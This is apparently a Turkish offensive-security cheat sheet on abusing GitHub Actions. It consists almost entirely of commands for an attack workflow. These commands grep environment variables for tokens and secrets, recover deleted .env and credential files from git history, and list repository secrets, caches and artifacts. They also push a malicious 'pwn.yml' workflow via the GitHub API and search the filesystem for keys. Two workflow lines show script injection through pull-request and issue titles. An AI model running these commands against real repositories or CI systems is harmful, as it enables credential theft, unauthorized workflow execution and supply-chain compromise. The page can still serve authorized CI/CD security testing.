Skip to content

Abusing Github Actions

CI/CD enum

Abusing Github Actions — CI/CD ve DevOps ortamında kaynak envanteri ve izin yüzeyi keşfi notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Çağıran kimliği ve etkili izinleri netleştir.

  2. Servise özel kaynak envanteri çıkar (liste + describe).

  3. Secret, trust policy ve yazma yüzeyi adaylarını işaretle.

  4. Bir sonraki privesc / veri / RCE hipotezini kilitle.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
gh auth status 2>/dev/null
Terminal window
env | rg -i 'token|secret|key|password' | head
Terminal window
aws sts get-caller-identity 2>/dev/null
Terminal window
az account show 2>/dev/null
Terminal window
gcloud auth list 2>/dev/null

Abusing Github Actions için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

run: curl ${{ github.event.pull_request.title }}
Terminal window
git log --all --full-history -- '**/.env' '**/credentials*'
Terminal window
gh api repos/ORG/REPO/commits --jq '.[].sha' | head
Terminal window
git show DELETED_SHA:.env
Terminal window
gh api -X PUT repos/ORG/REPO/contents/.github/workflows/pwn.yml -f message=pwn -f content=$(base64 -w0 pwn.yml)
Terminal window
gh auth status
Terminal window
gh api user
Terminal window
gh api orgs/ORG/repos --paginate
Terminal window
gh api repos/ORG/REPO/actions/secrets
Terminal window
gh api repos/ORG/REPO/actions/runs
Terminal window
gh api repos/ORG/REPO/actions/workflows
Terminal window
gh secret list -R ORG/REPO
Terminal window
gh workflow list -R ORG/REPO
Terminal window
gh workflow run WF.yml -R ORG/REPO

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt
Terminal window
gh api repos/ORG/REPO/actions/caches
Terminal window
gh api repos/ORG/REPO/actions/artifacts
run: echo "${{ github.event.issue.title }}"